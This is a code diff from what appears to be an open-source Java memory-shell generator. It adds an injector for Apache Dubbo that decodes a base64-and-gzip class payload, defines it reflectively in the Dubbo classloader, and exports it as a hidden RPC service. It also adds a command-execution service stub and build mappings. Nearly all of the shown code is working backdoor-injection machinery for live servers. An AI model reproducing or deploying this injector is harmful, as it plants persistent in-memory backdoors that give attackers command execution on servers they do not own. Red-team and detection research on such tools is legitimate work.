+ String.valueOf(protocol.getId());
}
private String normalizePath(String path) {
if (path == null) {
return "";
}
String normalized = path.trim();
while (normalized.startsWith("/")) {
normalized = normalized.substring(1);
}
return normalized;
}
private boolean notEmpty(String value) {
return value != null && !value.isEmpty();
}
private String stackTrace(Throwable throwable) {
StringWriter writer = new StringWriter();
throwable.printStackTrace(new PrintWriter(writer));
return writer.toString();
}
}
@@ -0,0 +1,616 @@
package com.reajason.javaweb.memshell.injector.dubbo;
import javassist.ClassPool;
import org.apache.dubbo.common.bytecode.ClassGenerator;
import org.apache.dubbo.config.*;
import org.apache.dubbo.rpc.model.ApplicationModel;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.security.ProtectionDomain;
import java.util.*;
import java.util.concurrent.ConcurrentHashMap;
import java.util.stream.Collectors;
import java.util.zip.GZIPInputStream;
public class ApacheDubboServiceInjector {
private final Map<String, ServiceConfig<?>> DYNAMIC_SERVICES = new ConcurrentHashMap<>();
private static final String DISPLAY_HOST = "x.x.x.x";
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
public String getHelperBase64String() {
return "{{helperBase64String}}";
}
public ApacheDubboServiceInjector() {
if (ok) {
return;
}
try {
msg += registerService();
} catch (Throwable e) {
msg += "unexcepted error: " + getErrorMessage(e);
}
ok = true;
System.out.println(msg);
}
private Class<?> loadClass(String payload) throws Exception {
ClassLoader classLoader = resolveDubboClassLoader();
byte[] classBytes = gzipDecompress(decodeBase64(payload));
definePackageIfNeeded(classLoader, getClassName());
Class<?> loadedClass = defineClass(classLoader, classBytes);
registerInJavassistClassPool(classLoader, loadedClass.getName(), classBytes);
msg += "[" + classLoader.getClass().getName() + "] ";
return loadedClass;
}
private ClassLoader resolveDubboClassLoader() {
ClassLoader classLoader = invokeDubboClassLoader("org.apache.dubbo.common.utils.ClassHelper");
if (classLoader != null) {
return classLoader;
}
classLoader = invokeDubboClassLoader("org.apache.dubbo.common.utils.ClassUtils");
if (classLoader != null) {
return classLoader;
}
classLoader = ClassGenerator.class.getClassLoader();
return classLoader != null ? classLoader : Thread.currentThread().getContextClassLoader();
}
private ClassLoader invokeDubboClassLoader(String className) {
try {
Class<?> helperClass = Class.forName(className);
return (ClassLoader) helperClass.getMethod("getClassLoader", Class.class).invoke(null, ClassGenerator.class);
} catch (Throwable ignored) {
return null;
}
}
private Class<?> defineClass(ClassLoader classLoader, byte[] classBytes) throws Exception {
ProtectionDomain protectionDomain = ClassGenerator.class.getProtectionDomain();
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass",
String.class,
byte[].class,
int.class,
int.class,
ProtectionDomain.class
);
defineClass.setAccessible(true);
return (Class<?>) defineClass.invoke(classLoader, null, classBytes, 0, classBytes.length, protectionDomain);
}
private void definePackageIfNeeded(ClassLoader classLoader, String className) {
int packageEnd = className.lastIndexOf('.');
if (packageEnd < 0) {
return;
}
String packageName = className.substring(0, packageEnd);
try {
Method getPackage = ClassLoader.class.getDeclaredMethod("getPackage", String.class);
getPackage.setAccessible(true);
if (getPackage.invoke(classLoader, packageName) != null) {
return;
}
Method definePackage = ClassLoader.class.getDeclaredMethod(
"definePackage",
String.class,
String.class,
String.class,
String.class,
String.class,
String.class,
String.class,
java.net.URL.class
);
definePackage.setAccessible(true);
definePackage.invoke(classLoader, packageName, null, null, null, null, null, null, null);
} catch (Exception ignored) {
}
}
public String toString() {
return msg;
}
private void registerInJavassistClassPool(ClassLoader classLoader, String className, byte[] classBytes) {
try {
ClassPool classPool = ClassGenerator.getClassPool(classLoader);
try {
classPool.getClass().getMethod("makeClassIfNew", InputStream.class).invoke(classPool, new ByteArrayInputStream(classBytes));
} catch (NoSuchMethodException e) {
classPool.getClass().getMethod("makeClass", InputStream.class).invoke(classPool, new ByteArrayInputStream(classBytes));
}
} catch (Throwable ignored) {
}
insertByteArrayClassPath(className, classLoader, classBytes);
}
private void insertByteArrayClassPath(String className, ClassLoader classLoader, byte[] classBytes) {
try {
Class<?> classPoolClass = Class.forName("javassist.ClassPool");
Class<?> classPathClass = Class.forName("javassist.ClassPath");
Class<?> byteArrayClassPathClass = Class.forName("javassist.ByteArrayClassPath");
insertClassPath(classPoolClass.getMethod("getDefault").invoke(null), classPoolClass, classPathClass, byteArrayClassPathClass, className, classBytes);
insertClassPath(ClassGenerator.getClassPool(classLoader), classPoolClass, classPathClass, byteArrayClassPathClass, className, classBytes);
} catch (Throwable ignored) {
}
}
private void insertClassPath(Object classPool, Class<?> classPoolClass, Class<?> classPathClass, Class<?> byteArrayClassPathClass, String className, byte[] classBytes) throws Exception {
if (classPoolClass.getMethod("find", String.class).invoke(classPool, className) == null) {
classPoolClass.getMethod("insertClassPath", classPathClass).invoke(classPool, byteArrayClassPathClass.getConstructor(String.class, byte[].class).newInstance(className, classBytes));
}
}
public static byte[] decodeBase64(String str) throws Exception {
return Base64.getDecoder().decode(str);
}
public static byte[] gzipDecompress(byte[] bArr) throws IOException {
try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
GZIPInputStream gZIPInputStream = new GZIPInputStream(new ByteArrayInputStream(bArr))) {
byte[] bArr2 = new byte[4096];
int i;
while ((i = gZIPInputStream.read(bArr2)) > 0) {
byteArrayOutputStream.write(bArr2, 0, i);
}
return byteArrayOutputStream.toByteArray();
}
}
public String registerService() throws Exception {
String strNormalizePath = normalizePath(getUrlPattern());
if (strNormalizePath.isEmpty()) {
throw new IllegalArgumentException("path must not be empty");
}
if (!DYNAMIC_SERVICES.containsKey(strNormalizePath) && !isPathRegisteredInFramework(strNormalizePath)) {
Class<?> shell = loadClass(getHelperBase64String());
Class<?> shell2 = loadClass(getBase64String());
validateServiceTypes(shell, shell2);
ServiceConfig<?> serviceConfigCreateServiceConfig = createServiceConfig(strNormalizePath, shell, instantiate(shell2));
if (DYNAMIC_SERVICES.putIfAbsent(strNormalizePath, serviceConfigCreateServiceConfig) != null) {
return resolveServiceAddresses(strNormalizePath);
}
try {
serviceConfigCreateServiceConfig.export();
return resolveServiceAddresses(strNormalizePath);
} catch (RuntimeException e) {
DYNAMIC_SERVICES.remove(strNormalizePath, serviceConfigCreateServiceConfig);
throw e;
}
}
return resolveServiceAddresses(strNormalizePath);
}
private boolean isPathRegisteredInFramework(String str) {
try {
for (Object obj : getRegisteredServices()) {
if (str.equals(obj.getClass().getMethod("getPath").invoke(obj))) {
return true;
}
}
return false;
} catch (Exception e) {
return false;
}
}
private Collection<?> getRegisteredServices() {
try {
Object configManager = resolveConfigManager();
return toList(invokeNoArgs(configManager, "getServices"));
} catch (Exception e) {
try {
Object objInvoke = ApplicationModel.class.getMethod("defaultModel").invoke(null);
Object objInvoke2 = objInvoke.getClass().getMethod("getDefaultModule").invoke(objInvoke);
Object objInvoke3 = objInvoke2.getClass().getMethod("getConfigManager").invoke(objInvoke2);
return toList(invokeNoArgs(objInvoke3, "getServices"));
} catch (Exception e2) {
return new ArrayList<>();
}
}
}
private String normalizePath(String str) {
if (str == null) {
return "";
}
String strTrim = str.trim();
while (true) {
String str2 = strTrim;
if (!str2.startsWith("/")) {
return str2;
}
strTrim = str2.substring(1);
}
}
private void validateServiceTypes(Class<?> cls, Class<?> cls2) {
if (!cls.isInterface()) {
throw new IllegalArgumentException("not an interface: " + cls.getName());
}
if (cls2.isInterface() || Modifier.isAbstract(cls2.getModifiers())) {
throw new IllegalArgumentException("implementation class is not instantiable: " + cls2.getName());
}
if (!cls.isAssignableFrom(cls2)) {
throw new IllegalArgumentException(cls2.getName() + " does not implement " + cls.getName());
}
}
private Object instantiate(Class<?> cls) {
try {
Constructor<?> declaredConstructor = cls.getDeclaredConstructor();
declaredConstructor.setAccessible(true);
return declaredConstructor.newInstance();
} catch (Exception e) {
throw new IllegalArgumentException("failed to instantiate " + cls.getName(), e);
}
}
private ServiceConfig<Object> createServiceConfig(String str, Class<?> cls, Object obj) {
Object configManager = resolveConfigManager();
ProviderConfig providerConfigResolveDefaultProvider = resolveDefaultProvider(configManager);
ProviderConfig providerConfigSanitizeProviderConfig = sanitizeProviderConfig(providerConfigResolveDefaultProvider);
ServiceConfig<Object> serviceConfig = new ServiceConfig<>();
serviceConfig.setInterface(cls);
serviceConfig.setRef(obj);
serviceConfig.setPath(str);
serviceConfig.setProxy("jdk");
if (providerConfigSanitizeProviderConfig != null) {
serviceConfig.setProvider(providerConfigSanitizeProviderConfig);
}
ApplicationConfig applicationConfig = castApplicationConfig(extractOptionalValue(invokeNoArgs(configManager, "getApplication")));
if (applicationConfig != null) {
serviceConfig.setApplication(applicationConfig);
}
String strResolveConfiguredVersion = resolveConfiguredVersion(providerConfigResolveDefaultProvider);
if (strResolveConfiguredVersion != null) {
serviceConfig.setVersion(strResolveConfiguredVersion);
}
serviceConfig.setProtocols(resolveConfiguredProtocols(providerConfigResolveDefaultProvider, configManager));
serviceConfig.setRegistries(resolveRegistriesForExport(castRegistries(toList(invokeNoArgs(configManager, "getDefaultRegistries"))), castRegistries(toList(invokeNoArgs(configManager, "getRegistries")))));
return serviceConfig;
}
private ProviderConfig resolveDefaultProvider(Object obj) {
ProviderConfig providerConfigCastProviderConfig = castProviderConfig(extractOptionalValue(invokeNoArgs(obj, "getDefaultProvider")));
if (providerConfigCastProviderConfig != null) {
return providerConfigCastProviderConfig;
}
Object objInvokeNoArgs = invokeNoArgs(obj, "getDefaultModule");
if (objInvokeNoArgs == null) {
objInvokeNoArgs = invokeNoArgs(invokeStaticNoArgs(ApplicationModel.class, "defaultModel"), "getDefaultModule");
}
Object objInvokeNoArgs2 = invokeNoArgs(objInvokeNoArgs, "getConfigManager");
ProviderConfig providerConfigCastProviderConfig2 = castProviderConfig(extractOptionalValue(invokeNoArgs(objInvokeNoArgs2, "getDefaultProvider")));
return providerConfigCastProviderConfig2 != null ? providerConfigCastProviderConfig2 : castProviderConfig(firstElement(toList(invokeNoArgs(objInvokeNoArgs2, "getProviders"))));
}
private ProviderConfig sanitizeProviderConfig(ProviderConfig providerConfig) {
if (providerConfig == null) {
return null;
}
List registries = providerConfig.getRegistries();
if (registries == null || filterValidRegistries(registries).size() == registries.size()) {
return providerConfig;
}
return null;
}
private List<RegistryConfig> filterValidRegistries(Collection<RegistryConfig> collection) {
if (collection == null) {
return new ArrayList<>();
}
return collection.stream()
.filter(registryConfig -> registryConfig != null && registryConfig.isValid())
.collect(Collectors.toList());
}
private List<RegistryConfig> resolveRegistriesForExport(Collection<RegistryConfig> collection, Collection<RegistryConfig> collection2) {
List<RegistryConfig> listFilterValidRegistries = filterValidRegistries(collection);
if (!listFilterValidRegistries.isEmpty()) {
return listFilterValidRegistries;
}
List<RegistryConfig> listFilterValidRegistries2 = filterValidRegistries(collection2);
return !listFilterValidRegistries2.isEmpty() ? listFilterValidRegistries2 : Collections.singletonList(new RegistryConfig("N/A"));
}
private String resolveConfiguredVersion(Object obj) {
return stringValue(invokeNoArgs(obj, "getVersion"), null);
}
private List<ProtocolConfig> resolveConfiguredProtocols(ProviderConfig providerConfig, Object configManager) {
return resolveConfiguredProtocols(providerConfig, configManager, getRegisteredServices());
}
private List<ProtocolConfig> resolveConfiguredProtocols(ProviderConfig providerConfig, Object configManager, Collection<?> collection) {
return mergeProtocols(mergeProtocols(mergeProtocols(providerConfig == null ? null : providerConfig.getProtocols(), castProtocols(toList(invokeNoArgs(configManager, "getDefaultProtocols")))), castProtocols(toList(invokeNoArgs(configManager, "getProtocols")))), collectProtocolsFromServices(collection));
}
private List<ProtocolConfig> collectProtocolsFromServices(Collection<?> collection) {
List<ProtocolConfig> arrayList = new ArrayList<>();
if (collection != null) {
try {
for (Object service : collection) {
try {
arrayList.addAll(castProtocols(toList(invokeNoArgs(service, "getProtocols"))));
} catch (Exception e) {
}
}
} catch (Exception e2) {
}
}
try {
for (Object exportedProvider : getExportedProviders()) {
try {
Object objInvokeNoArgs = invokeNoArgs(exportedProvider, "getServiceConfig");
if (objInvokeNoArgs != null) {
arrayList.addAll(castProtocols(toList(invokeNoArgs(objInvokeNoArgs, "getProtocols"))));
}
} catch (Exception e3) {
}
}
} catch (Exception e4) {
}
return arrayList;
}
private Collection<?> getExportedProviders() {
try {
Object objInvoke = ApplicationModel.class.getMethod("getServiceRepository").invoke(null);
return (Collection) objInvoke.getClass().getMethod("getExportedServices").invoke(objInvoke);
} catch (Exception e) {
try {
Object objInvoke2 = ApplicationModel.class.getMethod("defaultModel").invoke(null);
Object objInvoke3 = objInvoke2.getClass().getMethod("getDefaultModule").invoke(objInvoke2);
Object objInvoke4 = objInvoke3.getClass().getMethod("getServiceRepository").invoke(objInvoke3);
return (Collection) objInvoke4.getClass().getMethod("getExportedServices").invoke(objInvoke4);
} catch (Exception e2) {
return new ArrayList<>();
}
}
}
private String resolveServiceAddresses(String str) {
String strNormalizePath = normalizePath(str);
Object objFindRegisteredService = DYNAMIC_SERVICES.get(strNormalizePath);
if (objFindRegisteredService == null) {
objFindRegisteredService = findRegisteredService(strNormalizePath);
}
if (objFindRegisteredService == null) {
return strNormalizePath;
}
List<?> listExtractExportedUrls = extractExportedUrls(objFindRegisteredService);
if (!listExtractExportedUrls.isEmpty()) {
return formatUrls(listExtractExportedUrls);
}
List<?> listResolveProtocols = resolveProtocols(objFindRegisteredService);
if (listResolveProtocols.isEmpty()) {
return strNormalizePath;
}
return formatProtocolAddresses(listResolveProtocols, strNormalizePath);
}
private Object findRegisteredService(String str) {
for (Object obj : getRegisteredServices()) {
if (str.equals(normalizePath(stringValue(invokeNoArgs(obj, "getPath"), "")))) {
return obj;
}
}
return null;
}
private List<?> extractExportedUrls(Object obj) {
List<?> list = toList(invokeNoArgs(obj, "getExportedUrls"));
if (!list.isEmpty()) {
return list;
}
List<?> list2 = toList(getFieldValue(obj, "exporters"));
if (list2.isEmpty()) {
return new ArrayList<>();
}
List<Object> arrayList = new ArrayList<>();
for (Object exporter : list2) {
Object objInvokeNoArgs = invokeNoArgs(invokeNoArgs(exporter, "getInvoker"), "getUrl");
if (objInvokeNoArgs != null) {
arrayList.add(objInvokeNoArgs);
}
}
return arrayList;
}
private List<?> resolveProtocols(Object obj) {
List<?> list = toList(invokeNoArgs(obj, "getProtocols"));
Object objInvokeNoArgs = invokeNoArgs(obj, "getProvider");
List<ProtocolConfig> listResolveConfiguredProtocols = resolveConfiguredProtocols(objInvokeNoArgs instanceof ProviderConfig ? (ProviderConfig) objInvokeNoArgs : null, resolveConfigManager());
return list.isEmpty() ? listResolveConfiguredProtocols : mergeProtocols(castProtocols(list), listResolveConfiguredProtocols);
}
private Object invokeNoArgs(Object obj, String str) {
if (obj == null) {
return null;
}
try {
return obj.getClass().getMethod(str).invoke(obj);
} catch (Exception e) {
return null;
}
}
private Object invokeStaticNoArgs(Class<?> cls, String str) {
try {
return cls.getMethod(str).invoke(null);
} catch (Exception e) {
return null;
}
}
private Object getFieldValue(Object obj, String str) {
if (obj == null) {
return null;
}
Class<?> superclass = obj.getClass();
while (true) {
Class<?> cls = superclass;
if (cls == null) {
return null;
}
try {
Field declaredField = cls.getDeclaredField(str);
declaredField.setAccessible(true);
return declaredField.get(obj);
} catch (Exception e) {
superclass = cls.getSuperclass();
}
}
}
private List<?> toList(Object obj) {
Object value = extractOptionalValue(obj);
if (value instanceof Collection) {
return new ArrayList<>((Collection<?>) value);
}
if (value instanceof Map) {
return new ArrayList<>(((Map<?, ?>) value).values());
}
return new ArrayList<>();
}
private Object extractOptionalValue(Object obj) {
if (obj instanceof Optional) {
return ((Optional<?>) obj).orElse(null);
}
return obj;
}
private Object firstElement(List<?> list) {
if (list.isEmpty()) {
return null;
}
return list.get(0);
}
private ProviderConfig castProviderConfig(Object obj) {
if (obj instanceof ProviderConfig) {
return (ProviderConfig) obj;
}
return null;
}
private ApplicationConfig castApplicationConfig(Object obj) {
if (obj instanceof ApplicationConfig) {
return (ApplicationConfig) obj;
}
return null;
}
private List<RegistryConfig> castRegistries(List<?> list) {
return list.stream()
.filter(RegistryConfig.class::isInstance)
.map(RegistryConfig.class::cast)
.collect(Collectors.toList());
}
private Object resolveConfigManager() {
Object objInvokeStaticNoArgs = invokeStaticNoArgs(ApplicationModel.class, "getConfigManager");
if (objInvokeStaticNoArgs != null) {
return objInvokeStaticNoArgs;
}
Object objInvokeStaticNoArgs2 = invokeStaticNoArgs(ApplicationModel.class, "defaultModel");
Object objInvokeNoArgs = invokeNoArgs(objInvokeStaticNoArgs2, "getDefaultModule");
return invokeNoArgs(objInvokeNoArgs, "getConfigManager");
}
private String formatUrls(List<?> list) {
return list.stream()
.map(this::formatUrl)
.collect(Collectors.joining(", "));
}
private String formatProtocolAddresses(List<?> list, String str) {
return list.stream()
.map(obj -> formatProtocolAddress(obj, str))
.collect(Collectors.joining(", "));
}
private String formatUrl(Object obj) {
String strStringValue = stringValue(invokeNoArgs(obj, "getProtocol"), "dubbo");
String strNormalizePath = normalizePath(stringValue(invokeNoArgs(obj, "getPath"), ""));
Integer numIntegerValue = integerValue(invokeNoArgs(obj, "getPort"));
return (numIntegerValue == null || numIntegerValue.intValue() <= 0) ? String.format("%s://%s/%s", strStringValue, DISPLAY_HOST, strNormalizePath) : String.format("%s://%s:%d/%s", strStringValue, DISPLAY_HOST, numIntegerValue, strNormalizePath);
}
private String formatProtocolAddress(Object obj, String str) {
String strStringValue = stringValue(invokeNoArgs(obj, "getName"), "dubbo");
Integer numIntegerValue = integerValue(invokeNoArgs(obj, "getPort"));
return (numIntegerValue == null || numIntegerValue.intValue() <= 0) ? String.format("%s://%s/%s", strStringValue, DISPLAY_HOST, str) : String.format("%s://%s:%d/%s", strStringValue, DISPLAY_HOST, numIntegerValue, str);
}
private String stringValue(Object obj, String str) {
return (!(obj instanceof String) || ((String) obj).isEmpty()) ? str : (String) obj;
}
private Integer integerValue(Object obj) {
if (obj instanceof Number) {
return Integer.valueOf(((Number) obj).intValue());
}
return null;
}
private List<ProtocolConfig> castProtocols(List<?> list) {
return list.stream()
.filter(ProtocolConfig.class::isInstance)
.map(ProtocolConfig.class::cast)
.collect(Collectors.toList());
}
private List<ProtocolConfig> mergeProtocols(Collection<ProtocolConfig> collection, Collection<ProtocolConfig> collection2) {
LinkedHashMap<String, ProtocolConfig> linkedHashMap = new LinkedHashMap<>();
addProtocols(linkedHashMap, collection);
addProtocols(linkedHashMap, collection2);
return new ArrayList<>(linkedHashMap.values());
}
private void addProtocols(Map<String, ProtocolConfig> map, Collection<ProtocolConfig> collection) {
if (collection == null) {
return;
}
for (ProtocolConfig protocolConfig : collection) {
if (protocolConfig != null) {
map.put(protocolKey(protocolConfig), protocolConfig);
}
}
}
private String protocolKey(ProtocolConfig protocolConfig) {
return String.valueOf(protocolConfig.getName()) + "|" + String.valueOf(protocolConfig.getHost()) + "|" + String.valueOf(protocolConfig.getPort()) + "|" + String.valueOf(protocolConfig.getServer()) + "|" + String.valueOf(protocolConfig.getId());
}
private String getErrorMessage(Throwable th) {
try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
PrintStream printStream = new PrintStream(byteArrayOutputStream)) {
th.printStackTrace(printStream);
return byteArrayOutputStream.toString();
} catch (IOException e) {
return String.valueOf(th);
}
}
}
@@ -0,0 +1,15 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.injector.dubbo.AlibabaDubboServiceInjector;
import com.reajason.javaweb.memshell.injector.dubbo.ApacheDubboServiceInjector;
public class Dubbo extends AbstractServer {
@Override
public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(ShellType.APACHE_DUBBO_SERVICE, ApacheDubboServiceInjector.class)
.addInjector(ShellType.ALIBABA_DUBBO_SERVICE, AlibabaDubboServiceInjector.class)
.build();
}
}
@@ -0,0 +1,5 @@
package com.reajason.javaweb.memshell.shelltool;
public interface ShellDubboService {
byte[] handle(byte[] bytes);
}
@@ -0,0 +1,75 @@
package com.reajason.javaweb.memshell.shelltool.command;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.util.Scanner;
public class CommandDubboService {
public byte[] handle(byte[] bytes) {
if (bytes == null || bytes.length == 0) {
return new byte[0];
}
String p = new String(bytes);
String param = getParam(p);
try {
InputStream inputStream = getInputStream(param);
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
outputStream.flush();
outputStream.close();
return outputStream.toByteArray();
} catch (Exception e) {
return getErrorMessage(e).getBytes();
}
}
private String getParam(String param) {
return param;
}
private InputStream getInputStream(String param) throws Exception {
return null;
}
@SuppressWarnings("all")
public Object unwrap(Object obj, String fieldName) {
try {
return getFieldValue(obj, fieldName);
} catch (Throwable e) {
return obj;
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -145,7 +145,7 @@ public class CommonUtil {
+ "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType;
}
public static String getSimpleName(String injectorClassName) {
return injectorClassName.substring(injectorClassName.lastIndexOf(".") + 1);
public static String getSimpleName(String className) {
return className.substring(className.lastIndexOf(".") + 1);
}
}
@@ -1,25 +0,0 @@
package org.apache.catalina;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import javax.servlet.ServletException;
import java.io.IOException;
/**
* @author ReaJason
* @since 2024/12/27
*/
public interface Valve {
public Valve getNext();
public void setNext(Valve valve);
public void backgroundProcess();
public void invoke(Request request, Response response)
throws IOException, ServletException;
public boolean isAsyncSupported();
}
@@ -1,349 +0,0 @@
package org.apache.catalina.connector;
import javax.servlet.*;
import javax.servlet.http.*;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.security.Principal;
import java.util.*;
/**
* @author ReaJason
* @since 2024/12/27
*/
public class Request implements HttpServletRequest {
@Override
public String getAuthType() {
return "";
}
@Override
public Cookie[] getCookies() {
return new Cookie[0];
}
@Override
public long getDateHeader(String name) {
return 0;
}
@Override
public String getHeader(String name) {
return "";
}
@Override
public Enumeration<String> getHeaders(String name) {
return null;
}
@Override
public Enumeration<String> getHeaderNames() {
return null;
}
@Override
public int getIntHeader(String name) {
return 0;
}
@Override
public String getMethod() {
return "";
}
@Override
public String getPathInfo() {
return "";
}
@Override
public String getPathTranslated() {
return "";
}
@Override
public String getContextPath() {
return "";
}
@Override
public String getQueryString() {
return "";
}
@Override
public String getRemoteUser() {
return "";
}
@Override
public boolean isUserInRole(String role) {
return false;
}
@Override
public Principal getUserPrincipal() {
return null;
}
@Override
public String getRequestedSessionId() {
return "";
}
@Override
public String getRequestURI() {
return "";
}
@Override
public StringBuffer getRequestURL() {
return null;
}
@Override
public String getServletPath() {
return "";
}
@Override
public HttpSession getSession(boolean create) {
return null;
}
@Override
public HttpSession getSession() {
return null;
}
@Override
public boolean isRequestedSessionIdValid() {
return false;
}
@Override
public boolean isRequestedSessionIdFromCookie() {
return false;
}
@Override
public boolean isRequestedSessionIdFromURL() {
return false;
}
@Override
public boolean isRequestedSessionIdFromUrl() {
return false;
}
@Override
public boolean authenticate(HttpServletResponse response) throws IOException, ServletException {
return false;
}
@Override
public void login(String username, String password) throws ServletException {
}
@Override
public void logout() throws ServletException {
}
@Override
public Collection<Part> getParts() throws IOException, ServletException {
return Collections.emptyList();
}
@Override
public Part getPart(String name) throws IOException, ServletException {
return null;
}
@Override
public Object getAttribute(String name) {
return null;
}
@Override
public Enumeration<String> getAttributeNames() {
return null;
}
@Override
public String getCharacterEncoding() {
return "";
}
@Override
public void setCharacterEncoding(String env) throws UnsupportedEncodingException {
}
@Override
public int getContentLength() {
return 0;
}
@Override
public String getContentType() {
return "";
}
@Override
public ServletInputStream getInputStream() throws IOException {
return null;
}
@Override
public String getParameter(String name) {
return "";
}
@Override
public Enumeration<String> getParameterNames() {
return null;
}
@Override
public String[] getParameterValues(String name) {
return new String[0];
}
@Override
public Map<String, String[]> getParameterMap() {
return Collections.emptyMap();
}
@Override
public String getProtocol() {
return "";
}
@Override
public String getScheme() {
return "";
}
@Override
public String getServerName() {
return "";
}
@Override
public int getServerPort() {
return 0;
}
@Override
public BufferedReader getReader() throws IOException {
return null;
}
@Override
public String getRemoteAddr() {
return "";
}
@Override
public String getRemoteHost() {
return "";
}
@Override
public void setAttribute(String name, Object o) {
}
@Override
public void removeAttribute(String name) {
}
@Override
public Locale getLocale() {
return null;
}
@Override
public Enumeration<Locale> getLocales() {
return null;
}
@Override
public boolean isSecure() {
return false;
}
@Override
public RequestDispatcher getRequestDispatcher(String path) {
return null;
}
@Override
public String getRealPath(String path) {
return "";
}
@Override
public int getRemotePort() {
return 0;
}
@Override
public String getLocalName() {
return "";
}
@Override
public String getLocalAddr() {
return "";
}
@Override
public int getLocalPort() {
return 0;
}
@Override
public ServletContext getServletContext() {
return null;
}
@Override
public AsyncContext startAsync() throws IllegalStateException {
return null;
}
@Override
public AsyncContext startAsync(ServletRequest servletRequest, ServletResponse servletResponse) throws IllegalStateException {
return null;
}
@Override
public boolean isAsyncStarted() {
return false;
}
@Override
public boolean isAsyncSupported() {
return false;
}
@Override
public AsyncContext getAsyncContext() {
return null;
}
@Override
public DispatcherType getDispatcherType() {
return null;
}
public Response getResponse() {
return null;
}
}
@@ -1,196 +0,0 @@
package org.apache.catalina.connector;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.Collection;
import java.util.Collections;
import java.util.Locale;
/**
* @author ReaJason
* @since 2024/12/27
*/
public class Response implements HttpServletResponse {
@Override
public void addCookie(Cookie cookie) {
}
@Override
public boolean containsHeader(String name) {
return false;
}
@Override
public String encodeURL(String url) {
return "";
}
@Override
public String encodeRedirectURL(String url) {
return "";
}
@Override
public String encodeUrl(String url) {
return "";
}
@Override
public String encodeRedirectUrl(String url) {
return "";
}
@Override
public void sendError(int sc, String msg) throws IOException {
}
@Override
public void sendError(int sc) throws IOException {
}
@Override
public void sendRedirect(String location) throws IOException {
}
@Override
public void setDateHeader(String name, long date) {
}
@Override
public void addDateHeader(String name, long date) {
}
@Override
public void setHeader(String name, String value) {
}
@Override
public void addHeader(String name, String value) {
}
@Override
public void setIntHeader(String name, int value) {
}
@Override
public void addIntHeader(String name, int value) {
}
@Override
public void setStatus(int sc) {
}
@Override
public void setStatus(int sc, String sm) {
}
@Override
public int getStatus() {
return 0;
}
@Override
public String getHeader(String name) {
return "";
}
@Override
public Collection<String> getHeaders(String name) {
return Collections.emptyList();
}
@Override
public Collection<String> getHeaderNames() {
return Collections.emptyList();
}
@Override
public String getCharacterEncoding() {
return "";
}
@Override
public String getContentType() {
return "";
}
@Override
public ServletOutputStream getOutputStream() throws IOException {
return null;
}
@Override
public PrintWriter getWriter() throws IOException {
return null;
}
@Override
public void setCharacterEncoding(String charset) {
}
@Override
public void setContentLength(int len) {
}
@Override
public void setContentType(String type) {
}
@Override
public void setBufferSize(int size) {
}
@Override
public int getBufferSize() {
return 0;
}
@Override
public void flushBuffer() throws IOException {
}
@Override
public void resetBuffer() {
}
@Override
public boolean isCommitted() {
return false;
}
@Override
public void reset() {
}
@Override
public void setLocale(Locale loc) {
}
@Override
public Locale getLocale() {
return null;
}
}
@@ -1,8 +0,0 @@
package org.apache.coyote;
/**
* @author ReaJason
* @since 2025/12/6
*/
public interface Adapter {
}
@@ -1,8 +0,0 @@
package org.apache.coyote;
/**
* @author ReaJason
* @since 2025/12/6
*/
public interface Processor {
}
@@ -1,11 +0,0 @@
package org.apache.coyote;
/**
* @author ReaJason
* @since 2025/12/6
*/
public class Request {
public Object getNote(int id) {
return null;
}
}
@@ -1,22 +0,0 @@
package org.apache.coyote;
import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler;
import org.apache.tomcat.util.net.SocketWrapperBase;
/**
* @author ReaJason
* @since 2025/12/6
*/
public interface UpgradeProtocol {
public String getHttpUpgradeName(boolean isSSLEnabled);
public byte[] getAlpnIdentifier();
public String getAlpnName();
public Processor getProcessor(SocketWrapperBase<?> socketWrapper, Adapter adapter);
public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, Request request);
public boolean accept(Request request);
}
@@ -1,8 +0,0 @@
package org.apache.coyote.http11.upgrade;
/**
* @author ReaJason
* @since 2025/12/6
*/
public interface InternalHttpUpgradeHandler {
}
@@ -1,8 +0,0 @@
package org.apache.tomcat.util.net;
/**
* @author ReaJason
* @since 2025/12/6
*/
public class SocketWrapperBase<E> {
}
+10 -4
View File
@@ -11,6 +11,9 @@ spring-webflux = "5.3.24"
reactor-netty = "1.1.25"
jackson = "2.19.0"
jetbrains-annotations = "26.0.2"
alibaba-dubbo = "2.6.12"
apache-dubbo = "2.7.6"
tomcat = "8.5.85"
byte-buddy = "1.18.5" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy
